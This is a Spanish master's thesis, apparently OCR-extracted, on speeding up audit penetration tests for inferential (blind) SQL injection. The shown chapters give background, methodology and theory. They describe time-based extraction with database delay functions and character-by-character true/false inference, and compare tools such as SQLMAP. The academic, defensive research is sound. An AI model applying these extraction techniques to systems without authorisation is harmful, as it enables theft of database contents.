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Resumen y Abstract IX

Resumen

De los riesgos de seguridad en ambientes web, el riesgo de inyecciones SQL es
catalogado como el mas importante, y, de los siete tipos existentes de inyecciones SQL,
las inyecciones SQL inferenciales son las que presentan una mayor complejidad en sus
pruebas de penetracion, debido a que es necesario extraer la informacion no de manera
deterministica sino infiriendo los datos al observar cambios de comportamiento en el
ambiente web.

La presente tesis de maestria tiene como objetivo la reduccion de tiempo empleado en las
pruebas de penetracion usadas para la evaluacion del riesgo de inyecciones SQL
inferenciales presente en ambientes web. Para esto se usdé una metodologia mixta:
cuantitativa para el analisis de los algoritmos usados en la evaluacién de dicho riesgo y
cualitativa al analizar las estrategias y herramientas utilizados actualmente en las pruebas
de penetracién sobre el riesgo mencionado.

Como resultado de esta investigacion, se pudo establecer que el algoritmo bit a bit es el
mas eficiente en la extraccién de informacion y la herramienta SQLMAP la mas completa
para su evaluacién. En términos de tiempos, la herramienta SQLBrute - SQL Injection
Brute Forcer es la mejor para el caso de las inyecciones SQL inferenciales basadas en
tiempo y The Mole para el caso de las no basadas en tiempo. Ademas, se realiz6 una
herramienta usando el algoritmo bit a bit optimizado, y se compar6 los tiempos empleados
por ella con las herramientas mas eficientes disponibles. Al comparar los tiempos de la
herramienta desarrollada, se comprobd que esta investigacion disminuyo los tiempos
empleados en la evaluacion del riesgo tratado y que la herramienta desarrollada realiza la

extraccion de datos de manera mas eficiente.

Palabras clave: Inyecciones SQL, Inyecciones Ciegas, Inferencial, Seguridad Web,

Riesgos, Pruebas de Penetracion, Analisis de vulnerabilidad.
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Design of an automated tool for penetration
testing on inferential SQL injections risks in
business applications under web environment

Abstract

There are many security risks in a web environment. However, SQL injections is the most
important risk. This risk has seven sub-types and inferential SQL Injection is the most
complex sub-type: It is necessary extract the information not in a deterministic way but
inferring the data by means of observing behavior changes in the web environment.

This thesis is a research process on time reduction of inferential SQL injections present in
web environments. With that purpose, a mixed methodology was used (quantitative and
gualitative) for analyze the strategies, algorithms and tools that penetration testers current
use in evaluation of the aforementioned risk. According to the study conducted, bit-to-bit is
the faster algorithm for extracting information and SQLMAP tool is the most complete. In
time terms, the SQLBrute - SQL Injection Brute Forcer tool is the best tool for based on
time inferential SQL injections and The Mole for non-time based injections. After this
identification, a tool was made using optimized algorithm bit-to-bit. That tool was compared
with the aforementioned tools and verifying that it is effectively more efficient. Finally, the
tool was used in a real environment. In this way, it was found that it is possible to decrease

the time in the evaluation of the treated risk.

Keywords: SQL Injection, Blind, Inferential, Web Security Risk, Penetration Testing,

Vulnerability Analysis
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Introduccidén

El autor de ciencia ficcion William Gibson acufi¢ el término ciberespacio como un mundo
artificial infinito donde los humanos navegan en un espacio basado en la informacion
(Benedikt, 1992). Al ser Internet el ciberespacio mas accedido, la informacion que alli se
encuentra es muy importante.

Esta informacion es accedida a través de navegadores que consumen ambientes web
(Berners-Lee, 1992). Estos ambientes, en su gran mayoria, acceden a bases de datos que
contienen la informacién necesaria operar. Los estandares y la ley colombiana, muestran
gue es responsabilidad del duefio de dichos entornos garantizar la seguridad de la
informacion que se administre (Ley estatutaria 1581 de 2012). Esto significa mantener su
confidencialidad, integridad y disponibilidad (ISO/IEC, 2013).

Algunas organizaciones internacionales realizan andlisis de los incidentes de seguridad en
los ambientes web y generan rankings sobre las vulnerabilidades criticas en los cuales se
debe concentrar un administrador de uno de estos ambientes con el fin de minimizar los
riesgos sobre la informacion. Como ejemplo de esto, se encuentra el proyecto abierto de
seguridad en aplicaciones web (OWASP por sus siglas en inglés), una organizacion
pionera en este tema, quien determiné que la vulnerabilidad con mayor criticidad son las
inyecciones de cédigo no autorizado (OWASP, 2017).

Actualmente, se cuentan con herramientas automatizadas que identifican y evallan la
vulnerabilidad antes mencionada (Slaviero, 2012). Esta tesis de maestria se enfoca en
reducir el tiempo que se emplea en las pruebas de penetracion para evaluar las
inyecciones SQL inferenciales. Para tal fin, se analiza los algoritmos, técnicas y
herramientas usadas y se propone una herramienta que, tanto en la teoria como en la
practica, realiza la evaluacion en menor tiempo y de manera exhaustiva. Como resultado,
este documento presenta nuevos conceptos sobre el riesgo de inyecciones SQL
inferenciales, establece las condiciones matematicas para el uso de los algoritmos y

muestra los pasos empleados en la reduccion del tiempo en las pruebas de penetracion.



2 Introduccién

Al realizar esta investigacion, se redujo un 13% el tiempo empleado en las pruebas de
penetracion de las inyecciones inferenciales no basadas en tiempo y 20% sobre las
pruebas en inyecciones inferenciales basadas en tiempo y se generd una herramienta que
aplica los nuevos conceptos documentados en este trabajo.

El primer capitulo de este documento presenta de manera formal el disefio de este
proyecto de maestria, indicando la pregunta de investigacién, metodologia, objetivos,
alcance, justificaciébn y otras generalidades de esta tesis. En el segundo capitulo se
encuentra una explicacion de las inyecciones SQL inferenciales y un marco teorico sobre
el mismo. En el capitulo 3 se encuentra un analisis sobre los algoritmos usados para la
identificacion del riesgo antes mencionado y el capitulo 4, realiza un andlisis sobre las
herramientas usadas. Posteriormente, en el capitulo 5, se explica la herramienta propuesta
y el andlisis y comparativo de la herramienta en un entorno de pruebas, para
posteriormente, aplicarlo en un entorno de produccién. Finalmente, el capitulo 6 presenta

las conclusiones y el andlisis de resultados sobre la investigacion realizada.



1.Presentacion de la Tesis

1.1 Problematica

De acuerdo con (OWASP, 2017), el mayor riesgo de seguridad en los ambientes web son
las inyecciones de cddigo no autorizado. Estas inyecciones pueden ser desarrolladas en
lenguajes interpretados como codigo Lightweight Directory Access Protocol (LDAP), ORM
(Hibernate, NHibernate, ActiveRecord, EZPDO, etc.), lenguaje de comandos propios del
sistema operativo, SQL - Structured Query Language y NOSQL - No Structured Query
Language.

Aunque en 1998, (Forristal, 1998) documenté el riesgo de inyecciones SQL, su presencia
sigue siendo comun en los ambientes web, tal como se puede observar en los informes de
OWASP. Este riesgo de seguridad de facil explotacion impacta sobre los tres pilares de la
seguridad de la informacién: Confidencialidad, Integridad y Disponibilidad (OWASP, 2017).
A pesar del tiempo y la evolucidon tecnolégica, este riesgo sigue estando presente
(Bandhakavi, Bisht, Madhusudan, & Venkatakrishnan, 2007). La comunidad académica ha
definido 7 tipos de inyecciones SQL: Tautologico, Consultas llegales/Légicamente
Incorrectas, Uniones, Consultas a cuestas, Procedimientos almacenados, Inferenciales y
Codificacion Alternativa (W. G. J. Halfond, Viegas, & Orso, 2008). De todos los tipos, la
evaluacion de las inyecciones inferenciales presenta una mayor complejidad debido a que
se debe extraer caracter por caracter de la base de datos, lo cual incide en el tiempo de
evaluacion (Stampar, 2016). En este articulo se indica que para la extraccién de 537 bits
se puede llegar a tomar 882.84 segundos. Si tomamos en cuenta estos tiempos, la
extraccion de un solo campo texto que almacene 500 caracteres puede tomar mas de 6500

segundos, el equivalente a casi 2 horas. Por lo tanto, la evaluacién de una base de datos
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completa puede tardar dias o semanas, lo que no es eficiente al tener en cuenta los

tiempos asignados para la realizacion de las pruebas en una auditoria promedio.

A pesar de la importancia de las pruebas de auditoria, estas por si solas no pueden
garantizar la seguridad de la informacion en una organizacion (W. G. J. Halfond et al.,
2008; ISO/IEC, 2015). Las organizaciones deben implementar un sistema de gestion de
seguridad de la informacién, que se encargue de mitigar los riesgos de seguridad (ISO/IEC,
2013). Dentro de este sistema de gestién, las auditorias juegan un papel importante. Las
organizaciones definen un programa de auditorias, asighando tiempos para la realizacién
de cada una (ISO/IEC, 2007). Generalmente, los tiempos asignados a un auditor para
evaluar un riesgo de seguridad como las inyecciones sobre los ambientes web es limitado.
Durante este tiempo, se espera que se apliquen las pruebas de auditoria, no solo para
evaluar el riesgo de inyeccion, sino todas las demas vulnerabilidades web. Aungque la
evaluacion del riesgo mencionado se realiza de manera automatizada, con un tiempo de
evaluacion extenso la prueba puede verse afectada por la premura del proceso de auditoria
o hasta por cortes de energia y fallas de red. Si esto ocurre, una prueba de penetracion no
exitosa carece de confiabilidad (ISO/IEC, 2009).

Con el objetivo de realizar las pruebas de penetracién sobre el riesgo de inyecciones SQL
inferenciales, un auditor de sistemas o profesional de seguridad de la informacién puede
usar los siguientes algoritmos: busqueda secuencial basada en tiempo, blsqueda binaria
basada en error, biusqueda binaria con expresiones regulares, busqueda binaria con
diccionarios, busqueda binaria probabilistica, extraccion bit a bit (Slaviero, 2012) y
extraccién de multiples bits usando inyecciones de tiempo (documentado tedricamente
pero sin implementacion real) (Redwood, 2016). Estos algoritmos hacen parte de lo que,
en el campo de la auditoria, se denominan técnicas y herramientas de auditoria asistidas
por computador (CAATTSs, por sus siglas en inglés), las cuales facilitan la prueba de
penetracion. Sin embargo, de acuerdo con la literatura encontrada, los tiempos siguen

siendo significativos (Stampar, 2016).
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1.2 Pregunta de Investigacion

A partir de lo anterior, la pregunta de investigacion de esta tesis es la siguiente:

¢, Coémo reducir el tiempo que se emplea en las pruebas de penetracion para evaluar los
riesgos de inyecciones SQL inferenciales en un proceso de auditoria de tecnologias de la

informacion?

1.3 Objetivo

1.3.1 General

Reducir el tiempo usado en las pruebas de penetracion informética durante la evaluacion
del riesgo de inyecciones SQL inferenciales existente en las aplicaciones empresariales

bajo ambiente web.

1.3.2 Especificos

= Realizar un analisis comparativo de los algoritmos, técnicas y herramientas usadas
para llevar a cabo la evaluacién del riesgo de inyecciones SQL inferenciales.

= |mplementar una herramienta de auditoria para la evaluacién del riesgo de
inyecciones SQL inferenciales con base en el andlisis de los algoritmos realizados
gue permita disminuir el tiempo de las pruebas.

» Validar el uso de la herramienta disefiada en la evaluacion del riesgo Inyecciones

SQL Inferenciales en sitios web corporativos.



6 Disefio de una herramienta automatizada para las pruebas de penetracion
informatica del riesgo de inyecciones SQL inferenciales existente en aplicaciones

empresariales bajo ambiente web

1.4 Justificacion

Garantizar la seguridad de la informacion no solo es una necesidad sino también una
obligacion (Ley estatutaria 1581 de 2012). Debido a esto, la organizacién internacional de
estandares generd uno internacional (ISO/IEC 27001) que fue acogido como norma
técnica colombiana por el organismo nacional de normalizacion de Colombia (ICONTEC),
el cual sirve de guia para la implementacién de un sistema de gestién de seguridad de la
informacién (ISO/IEC, 2013).

Esta norma, establece la necesidad de identificar riesgos de seguridad para poder
establecer controles que permitan su mitigacion. Los riesgos que no se identifiqguen vy
evallen correctamente, podran ser explotados de manera malintencionada afectando la
disponibilidad, integridad y confidencialidad de la informacién, los cuales son los pilares de
su seguridad (Gollmann, 1999).

Con el objetivo de mejorar la eficiencia en la identificacion y valoracion de riesgos, la misma
organizacion internacional gener6 unas directrices en las que se incluye la necesidad de
realizar un proceso de identificacion de vulnerabilidades. Este proceso incluye la
realizacion de pruebas de penetracion manuales, herramientas automaticas de explotacion
de vulnerabilidades y evaluaciones de seguridad por parte de profesionales (ISO/IEC,
2009).

Esta tesis se enfoca en mejorar este proceso de identificacion y evaluacién de
vulnerabilidades descrito por esta norma, la cual indica “que las herramientas y técnicas
de penetracion pueden dar resultados falsos, a menos que la vulnerabilidad sea explotada
exitosamente” (ISO/IEC, 2009, p. 55). El mejorar este proceso impacta positivamente sobre
la identificacion de vulnerabilidades y, de manera indirecta, en su mitigacién a través del
sistema de gestion.

Ahora bien, aunque de acuerdo con OWASP existen cientos de vulnerabilidades web
(OWASP, 2017), la denominada inyeccién ha sido la que presenta mayores niveles de
criticidad de manera consecutiva en los Ultimos afios considerando que en el resultado de
la dltima evaluacion realizada en el 2013 por esta misma organizacion, esta vulnerabilidad

se encuentra en el mismo lugar (OWASP, 2013).
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Una inyeccion ocurre cuando se ingresan datos no confiables sin validar a un intérprete
como parte de una consulta o comandos(OWASP, 2017). De todos los tipos de
inyecciones, las inyecciones SQL, No-SQL y, mas recientemente, inyecciones ORM, son
criticas debido a que son interpretes ligados a la base de datos y un atacante puede afectar
directamente la disponibilidad, integridad y confidencialidad de la informacién almacenada.
De estos tipos, las inyecciones SQL son las que llevan mas tiempo presentandose en las
aplicaciones web debido a que la mayoria de estas usan estos motores de base de datos.
Por esa razon, el mejorar el proceso de identificacion y evaluacién de la vulnerabilidad a
inyecciones SQL permitira que las organizaciones puedan reducir el tiempo en las pruebas
realizadas sobre el mayor riesgo de seguridad en sus ambientes web.

De acuerdo con la clasificacién mas citada (W. G. J. Halfond et al., 2008), las inyecciones
SQL pueden ser:

Tautoldgicas

Consultas llegales/Légicamente Incorrectas

Uniones

Consultas a cuestas

Procedimientos almacenados

Inferenciales

N o g b~ w0 DR

Codificacion Alternativa

La identificacién de esta vulnerabilidad consiste en evaluar las entradas de cada pagina
web perteneciente al entorno de la aplicacion y ejecutar una prueba de penetracion con el
fin de identificar si la entrada es vulnerable, y si lo es, identificar la afectacion que se puede
causar a la informacion (Clarke & Alvarez, 2009). En caso de ser posible, la extraccion de
la informacién permite evaluar la criticidad del riesgo y establecer controles para evitar la
pérdida de confidencialidad (Stampar, 2016).

A diferencia de los otros tipos de inyecciones SQL, la prueba de penetracion sobre el tipo
de inyecciones SQL inferenciales consiste en la extraccion caracter por caracter de la
informacion almacenada en la base de datos. Dependiendo del tamafio de la misma, esta
prueba puede durar dias o incluso semanas (Stampar, 2016).

De acuerdo con los estandares internacionales, una auditoria “se lleva a cabo durante un
periodo de tiempo delimitado y con recursos finitos” (ISO/IEC, 2007, p. 5). Este tiempo,

generalmente dado por el programa de auditoria y al presupuesto de la organizacion, toma
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en cuenta no solo el proceso mismo de auditoria, sino también el tiempo y los costos
asociados al desplazamiento y alojamiento de los auditores (ISO/IEC, 2007). Por lo
anterior, con el fin de optimizar el costo, los tiempos para la realizacién de la auditoria son
ajustados. Un auditor de seguridad en ambientes web debe realizar sus pruebas de
manera exhaustiva, con el fin de identificar con mayor precision las vulnerabilidades web,
y, ademas, realizarlas en el menor tiempo posible con el fin de cumplir con el cronograma
de auditoria y no incrementar el costo de la misma. No es menos importante indicar que
una prueba de auditoria de dias o semanas, es mas susceptible a fallas de hardware, red
o0 eléctricas.

En vista de lo anterior, cualquier intento por reducir el tiempo de realizacion de las pruebas
de auditoria para la identificacion y evaluacion del sub-tipo de inyeccién SQL con mayor
complejidad tendra un impacto directo en facilitar a las organizaciones la generacién de
planes de accién que mitiguen la vulnerabilidad mas critica en los ambientes web. La
complejidad de las inyecciones SQL inferenciales se agudiza sobre todo en las que son
basadas en tiempo. Para realizar la evaluacion de esta vulnerabilidad, se debe escoger un
tiempo de retraso a inyectar en cada consulta realizada sobre la base de datos. Este tiempo
no puede ser menor debido a que puede confundirse con el tiempo de carga de la pagina.
Pero si se coloca un tiempo mayor, como 30 segundos 0 mas, el proceso se vuelve
ineficiente y se corre el riesgo de activar las “excepciones por exceso de tiempo incluidas
en la base de datos o en el entorno de trabajo de la aplicacion web” (Slaviero, 2012, p.
258). Por esa razon, la evaluacion de estas inyecciones SQL son “entre 10 a 2 mil veces”

mas lentas que la evaluacion de otros tiempos de inyecciones (Stampar, 2016, p. 323).

1.5 Alcance

Existen 7 tipos de inyecciones SQL: Tautologico, Consultas llegales/Logicamente
Incorrectas, Uniones, Consultas a cuestas, Procedimientos almacenados, Inferenciales y
Codificacion Alternativa (W. G. J. Halfond et al., 2008). Cada uno de estos tipos tienen
algoritmos diseflados para su evaluacion a través de pruebas de penetracién. El foco de
este proyecto de investigacion son las inyecciones SQL inferenciales y esta delimitado por

la cantidad y tipo de algoritmos usados en estas inyecciones que son objeto de andlisis.
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Ademas, esta limitado por las variables que se pueden usar para la evaluacion de estos

algoritmos.

En relacion con la cantidad y tipo de algoritmos existentes usados en inyecciones SQL
inferenciales, se analizaran y compararan aquellas que se documentaron e implementaron
hasta el 31 de diciembre de 2016. Asimismo, las herramientas que se analizaran seran
aquellas que cuenten con una implementacién con licenciamiento libre o con una versién

demo hasta la fecha antes mencionada.

Con respecto a las técnicas de evaluacion, se analizaran las inyecciones SQL no basadas
en tiempo y basadas en tiempo. Estas Ultimas limitadas a las inyecciones que hacen uso

de las funciones de base de datos para inyectar un retardo de tiempo.

Y en relacion con las variables a medir en el proceso de evaluacién, se evaluara la
eficiencia del algoritmo a partir del tiempo de ejecucién de la evaluacién del riesgo. No se
analizaran otras variables como la cantidad de ruido generado ni el uso de los recursos de

la maquina.

1.6 Metodologia

La metodologia para responder la pregunta de investigacion, utiliza un enfoque mixto con
el fin de conseguir los objetivos formulados: El analisis de los algoritmos y la comparacién
de los mismos se basan en un analisis cualitativo y para la evaluacion empirica de los
algoritmos y herramientas, y en general, de los otros componentes de esta investigacion,
se usara un enfoque cualitativo por lo que existen datos recolectados no de manera
estandar y sirven para afinar la pregunta de investigacion (Hernandez, Fernandez, &
Baptista, 2014). Adicionalmente, para el cumplimiento de los objetivos nos basamos en la

hermenéutica para la interpretacion de las pruebas y comparaciones realizadas.
Para esto, se realizaran las siguientes fases:

1. Fase Exploratoria:
a. Realizar una revision de la literatura existente sobre los siguientes temas:
i. Seguridad de la informacién y ciberseguridad.

ii. Ambientes web.
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iii. Inyecciones SQL.
iv. Pruebas de penetracién y analisis de seguridad.
v. Investigaciones recientes sobre inyecciones SQL inferenciales.

2. Fase de Andlisis:

a.

C.

Analizar los algoritmos desarrollados por la comunidad académica y
profesional para ejecutar pruebas de penetracion de inyecciones SQL
usando la metodologia enfoque cientifico para el andlisis de algoritmos
(Robert Sedgewick & Philippe Flajolet, 1996).

Creacion de un entorno de prueba: En esta actividad se crearan dos bases
de datos en MySQL y SQL Server, una alimentada con bytes aleatorios y
otra base de datos con informacion de palabras reales en inglés y en
espafiol.

Analizar el tiempo tomado por las herramientas para la evaluacion del riesgo
de inyecciones SQL Inferenciales y definir la mejor en términos de tiempo
de extraccion.

3. Fase de disefio e implementacion:

a.

Disefiar la herramienta de acuerdo a la metodologia, recomendaciones y
técnicas para disefio de herramientas automatizadas definidas por el Object
Management Group OMG en la metodologia UML 2 (The Object
Management Group, 2005).

Realizar la implementacion usando el algoritmo mas eficiente de acuerdo al

andlisis de la fase 2.

4. Fase de validacion:

a.

Realizar la validacion en un entorno corporativo con la herramienta
desarrollada en la fase 3. Para esto, se elabora un programa de auditoria
de acuerdo a la metodologia de ISACA (ISACA, 2016).

Analizar los resultados y elaborar el documento final.

Siguiendo la metodologia desarrollada, se podran cumplir los objetivos definidos. Y se

resolvera la pregunta de investigacion.



2.Inyecciones SQL Inferenciales

2.1 Seqguridad y Ciberseguridad de la informacidn

El comité de seguridad nacional de sistemas de Estados Unidos (CNSS) define seguridad
de la informacion como “la proteccion de la informacion y sus elementos criticos,
incluyendo los sistemas y hardware que usan, almacenan, y transmiten esa informacion”
(Whitman & Mattord, 2012, p. 8). Los pilares de la seguridad de la informacién son
confidencialidad, integridad, y disponibilidad (Gollmann, 1999) llamado también el triangulo
CIA o triada CIA, por sus siglas en inglés. Asimismo, la organizacién de estandarizacion
internacional (ISO) indica que el contexto de informacion incluye la que es impresa o escrita
en papel, almacenada electronicamente, transmitida por correo o por medios electrénicos,

la mostrada en peliculas, transmitida en conversaciones, entre otras (ISO/IEC, 2013).

Existe un sub-componente de la seguridad de la informaciéon llamado Seguridad de la
Tecnologia de la Informacién y la Comunicacion (en adelante seguridad ICT por sus siglas
en inglés) “la cual se encarga de la proteccion de los sistemas basados en la tecnologia
real en la que se almacena la informacién y / o se transmite comunmente” (von Solms &
van Niekerk, 2013). De acuerdo con la organizacion de estandares, la seguridad ICT
incluye todos los aspectos relativos a la “definicidon, logro y mantenimiento de la
confidencialidad, integridad, disponibilidad, no repudio, la responsabilidad, la autenticidad
y fiabilidad de los recursos de informacion” (ISO/IEC, 2004, p. 3).

Esta definicion de la seguridad ICT es muy similar a la definicion de seguridad de la
informacion, aunque limitados al aspecto tecnologico y puede notarse que tiene mas
conceptos que la triada. Estos conceptos hacen parte de lo denominado “seguridad de los
datos” (von Solms & van Niekerk, 2013, p. 98).
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El concepto de seguridad ICT esta relacionado con el concepto de ciberseguridad. Este
término cuenta con 8 o méas definiciones. Después de analizar 5 definiciones relevantes,

los siguientes autores dan la siguiente definicion:

“Ciberseguridad es la organizacion y coleccidn de recursos, procesos y estructuras usadas
para proteger el ciberespacio (cyberspace) y los sistemas que habilitan el ciberespacio de
las ocurrencias que desalinean tanto los derechos de propiedad percibidos (de jure) cémo
los reales (de facto)” (Craigen, Diakun-Thibault, & Purse, 2014, p. 17).

La anterior definicién esta de acuerdo con la ofrecida por la ISO/IEC 27032 (ISO/IEC,
2012).

La Union Internacional de Telecomunicaciones (International Telecommunication Union,

ITU) define ciberseguridad cémo:

La colecciéon de herramientas, politicas, conceptos de seguridad, medidas de
seguridad, directrices, enfoques de gestiébn de riesgos, acciones de formacion,
mejores practicas, aseguramiento y nuevas tecnologias que se pueden utilizar para
proteger el medio ambiente y la organizacion cibernética y los bienes de los
usuarios. Organizacion y los activos de los usuarios son los dispositivos
informaticos, personal, infraestructura, aplicaciones, servicios, sistemas de
telecomunicaciones, y la totalidad de la informacion transmitida y / o almacenada
en el entorno cibernético conectados. La ciberseguridad garantiza la consecucién
y el mantenimiento de las propiedades de seguridad de la organizacion y los activos
de los usuarios contra los riesgos de seguridad relevantes en el entorno cibernético.
Los objetivos generales de seguridad comprenden lo siguiente: disponibilidad,
integridad, que puede incluir la autenticidad y el no repudio, confidencialidad (ITU,
2015, p. 97).

Para la ISO/IEC 27032, ciberseguridad es un término que agrupa las brechas entre los
conceptos de seguridad de la informacion, seguridad de Internet, seguridad de redes y
seguridad ICT (ISO/IEC, 2012). A pesar de la similitud en las definiciones, las diferencias

entre estas pueden verse en la Figura 1.
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Figura 1 Relaciones entre seguridad de la informacion y comunicacion, seguridad
informacion, y ciberseguridad.

Activos basados en informacion Activos basados en informacion Activos no basados en informacion
almacenada o transmitida SIN usar almacenada o transmitida usando que son vulnerables a través de
tecnologias de la informacidn y las tecnologias de |a informacidn y las amenazadas de tecnologias de la

comunicaciones comunicaciones informacidn y las comunicaciones

. | Seguridad de las
Seguridad tecnologias de
dela ' la informacion y

informacién las
comunicaciones

Fuente: Adaptado de (von Solms & van Niekerk, 2013)

La diferencia entre seguridad ICT y ciberseguridad radica en que la primera tiene su foco
en la informacion y el efecto que se produce en la misma mientras que el término
ciberseguridad incluye esto mismo y ademas, el efecto que pueda traer sobre las personas,
organizaciones, gobiernos, entre otros (von Solms & van Niekerk, 2013). Para explicar esta
diferencia, estos autores colocan algunos ejemplos, los cuales no se tratan de incidentes
de seguridad de la informacion, pero si de ciberseguridad. Uno de estos ejemplos es el
acoso virtual, donde se usan medios tecnologicos para la transmision de informacién que
afectan personas, empresas u organizaciones sin afectar la informaciéon misma. Aunque la
informacion no se afecta (seguridad de la informacion), silo hacen los activos que la utilizan

(ciberseguridad).

Aungue no exista un concepto Unico, este proyecto de tesis se sustenta en la definicion de
la ciberseguridad cémo la proteccion del ciberespacio, incluyendo la infraestructura que lo

habilita (seguridad ICT) y las personas, organizaciones, gobiernos que lo acceden
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(ciberseguridad de acuerdo con von Solms & van Niekerk, 2013). Igualmente se acoge a
la definicion de ciberespacio como un mundo artificial infinito donde los humanos navegan

en un espacio basado en la informacion (Benedikt, 1992).

Este concepto de ciberseguridad es el que enmarca el &rea de accion de este proyecto de
investigacion. Su objetivo principal es reducir el tiempo empleado en las pruebas de
penetracion con el fin de mejorar el proceso de auditoria que permita mantener la

informacion segura.

2.2 Ambientes web

En (Berners-Lee, 1992), se present6 el disefio World-Wide Web (W3), un sistema de
informacion global compuesto por protocolos y formatos de datos estandar que permitia
gue varios dispositivos usaran un software local llamado navegador y accedieran a
informacion (en formato HTML) publicada en servidores usando un protocolo llamado
HTTP. Para finales de los afios 90’s, en los paises industrializados, la W3 ya era el principal

medio para diseminar informacién (Florescu, Levy, & Mendelzon, 1998).

Los ambientes web son todos aquellos que usan la arquitectura de la W3 y se basan en el
lenguaje de marcas de hipertexto (HyperText Markup Language, HTML) el cual permite la
creacion de péaginas web (ISO/IEC, 2000). Aungue este lenguaje se usa para mostrar
informacién en aplicaciones de escritorio que lo interpretan, conocidos cémo navegadores,
no almacenan informacion de manera dindmica. Para este fin, se usan motores de base
de datos (Florescu et al., 1998).

Aunque existen varios tipos de base de datos, esta tesis de maestria analiza el riesgo de
la informacion almacenada sobre bases de datos relacionales, las cuales usan el lenguaje
de consultas estructurado (Structured Query Language, SQL) para el acceso a los datos
(Nayak, Poriya, & Poojary, 2013). Aunque el lenguaje SQL fue primero un estandar ANSI
y ahora es un estandar ISO (ISO/IEC, 2011), existen variantes del lenguaje implementados

en los principales motores de base de datos. Los datos organizacionales se almacenan en
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estos motores y son accedidos por un ambiente web que muestra la informacion a través

de los protocolos indicados anteriormente.

Para asegurar esta informacién, es necesario incorporar mecanismos de seguridad de la
informacion, que permitan garantizar adecuados niveles de confidencialidad, integridad y
disponibilidad. Esta investigacion se limita a la informacion almacenada en bases de datos
SQL y que son accedidas a través de ambientes web.

2.3 Inyecciones SQL

Los riesgos de seguridad en ambientes web han sido objeto de estudio por la comunidad
académica y profesional. Una de las iniciativas que mas ha profundizado en este aspecto
es el proyecto abierto de seguridad en aplicaciones web (en adelante OWASP por sus
siglas en inglés), la cual periédicamente evalla los principales riesgos de seguridad que
una organizacién debe prevenir (OWASP, 2017). Esa evaluacion la realiza a través de una
metodologia propia llamada OWASP Risk Rating Methodology enfocada solo en riesgos

de seguridad y basada en los criterios mostrados en la figura 2.

Figura 2 Criterios de evaluacion OWASP Risk Rating Methodology.

Agentes Vectores | Prevalencia | Detectabilidad | Impactos Impacto
Amenazados | de ataque | dela de la técnicos sobre el
debilidad debilidad negocio
Apicacion I e A N ISEEE A piccion |
especifica Promedio | Comiin Promedio Moderados | / Negocio
Dificil Poco comun | Dificil Menores especifico

Fuente: Adaptado de (OWASP, 2017)

Aunque de acuerdo con (OWASP, 2017) existen cientos de vulnerabilidades web, la
denominada inyecciones es la que ha presentado mayor criticidad por varios afios
consecutivos aplicando la metodologia mostrada en la figura 2. Las inyecciones “ocurren
cuando datos no confiables son enviados a un intérprete como parte de un comando o
consulta. El atacante puede inducir engafiosamente al intérprete para ejecutar comandos
no intencionados o permitir acceder a datos sin la propia autorizacién” (OWASP, 2017, p.

6). Para que el intérprete tome como valido los datos malintencionados, se introducen a
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través de campos de entrada cédigo no autorizado para ser ejecutado por la aplicacion.
De la definicién dada por OWASP se desprende que todos los lenguajes interpretados son

vulnerables a las inyecciones.

De todos los tipos de inyecciones, las de codigo SQL, No-SQL y, méas recientemente, ORM,
son inyecciones criticas debido a que los intérpretes estan ligados a la base de datos y un
atacante puede afectar directamente la disponibilidad, integridad y confidencialidad de la
informacion almacenada. De los intérpretes antes mencionados, los de SQL son los que
son objeto de estudio en esta investigacion.

De acuerdo con (W. G. J. Halfond et al., 2008), existen siete tipos de inyecciones SQL:

Tautolégico

Consultas llegales/Légicamente Incorrectas
Uniones

Consultas a cuestas

Procedimientos almacenados

Inferenciales

N o o b~ 0 Dd PR

Codificacion Alternativa

Para ver una descripcion breve de cada una, en la seccion de investigaciones recientes,

se encuentra la Ultima definicién disponible de cada una, especificamente en la tabla 2.

De todos los tipos de inyecciones SQL, las denominadas inferenciales, presentan una
mayor complejidad para su evaluacion. Aungue el riesgo de inyecciones SQL inferenciales
es llamada por algunos autores como inyeccion SQL Ciega (Slaviero, 2012), esta tesis se
focaliza en este tipo y usa el nombre Inferencial ya que describe mejor el riesgo al basarse
en el proceso llevado a cabo para realizar la extraccién de informacién, apoyando asi las

definiciones realizadas por otros autores (W. G. J. Halfond et al., 2008; Stampar, 2016).

Al igual que los otros tipos de inyecciones SQL, la evaluacién de esta vulnerabilidad incluye
la extraccion de datos y del esquema de la base de datos (W. G. J. Halfond et al., 2008).

Para realizar la evaluacion de esta vulnerabilidad, existen dos técnicas conocidas:
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Inyecciones Ciegas o Ataques de Tiempo o como es llamado en (Stampar, 2016): Basadas
en Tiempo y No basadas en tiempo, una definicion mas descriptiva.

Las inyecciones basadas en tiempo inducen a la base de datos a esperar un tiempo
determinado por el atacante. Esto se puede hacer usando las funciones propias de cada
base de datos como SLEEP (en Mysqgl), PG_SLEEP (en Postgres), WAIT FOR DELAY (en
SQL Sever), DBMS_LOCK.SLEEP (en Oracle) (Clarke & Alvarez, 2009) o forzando la base
de datos a hacer consultas pesadas que consuman mas tiempo del habitual (Alonso,
Daniel Kachakil, Bordon, Guzman, & Beltran, 2007).

Las inyecciones no basadas en tiempo analizan los cambios en la presentacion del
ambiente web. Por ejemplo, si la inyeccién SQL enviada contiene un error en tiempo de
ejecucion y este error es mostrado en la pagina web, entonces este comportamiento puede

usarse para un criterio de falso y verdadero.

En ambas técnicas es necesario “booleanizar” la inyeccion: cada consulta realiza una
pregunta y de acuerdo a la técnica se infiere si es verdadero o falso. Ejemplo: ¢ El primer
caracter del nombre de la base de datos es la letra A? Si la respuesta es un cambio en la
presentacion de la pagina web o un tiempo de carga mas demorado de lo normal, se puede
inferir cdmo verdadero. De esa manera puede extraerse toda la base de datos, aunque
tomando mas tiempo que con las otras técnicas (Stampar, 2016). En la seccién 3 se

analizara profundamente este tipo de inyeccion SQL.

Esta investigacion se enfoca en el riesgo de inyecciones SQL inferenciales. Se toman los
tipos basados en tiempo y no basados en tiempo. Sobre los primeros, se usan las
funciones propias para el retraso de tiempo de acuerdo al motor de base de datos y no se

analizan las técnicas que usan consultas pesadas.

2.4 Pruebas de penetracion y analisis de seguridad

De acuerdo con la norma ISO/IEC 27002, deben realizarse pruebas de penetracion para
encontrar vulnerabilidades de seguridad con el objetivo de establecer controles que las
mitiguen (ISO/IEC, 2015). Para el caso de los riesgos asociados a las inyecciones SQL,

estos controles se clasifican en: practicas defensivas de codigo y otras técnicas de
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prevencion y deteccion (W. Halfond & Orso, 2007). Dentro de las practicas defensivas de
codigo se encuentran (W. G. J. Halfond et al., 2008):

» Verificacion de cada entrada del entorno

» Caodificacion (Encoding) de dichas entradas

» Validacion a través de la coincidencia positiva de patrones
» Identificacion de todas las entradas del entorno web.

